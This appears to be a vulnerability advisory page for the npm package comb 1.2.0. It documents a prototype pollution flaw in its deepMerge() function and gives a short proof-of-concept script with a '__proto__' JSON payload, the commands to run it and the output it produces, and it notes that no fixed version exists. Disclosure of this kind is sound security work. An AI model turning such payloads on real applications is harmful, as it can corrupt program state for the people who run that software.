comb@1.2.0 vulnerabilities

A framework for node

Direct Vulnerabilities

Known vulnerabilities in the comb package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • M
Prototype Pollution

comb is a framework for node

Affected versions of this package are vulnerable to Prototype Pollution via the deepMerge() function.


// PoC.js
var deepMerge = require("comb/lib/base/object.js").deepMerge

var obj = {}
var malicious_payload = '{"__proto__":{"polluted":"Yes! Its Polluted"}}';
console.log("Before: " + {}.polluted);
deepMerge({}, JSON.parse(malicious_payload));
console.log("After : " + {}.polluted);

Execute the following commands in the terminal:

npm i comb # Install affected module
node PoC.js # Run the PoC

Check the Output:

"Before: undefined"
"After : Yes! Its Polluted"

How to fix Prototype Pollution?

There is no fixed version for comb.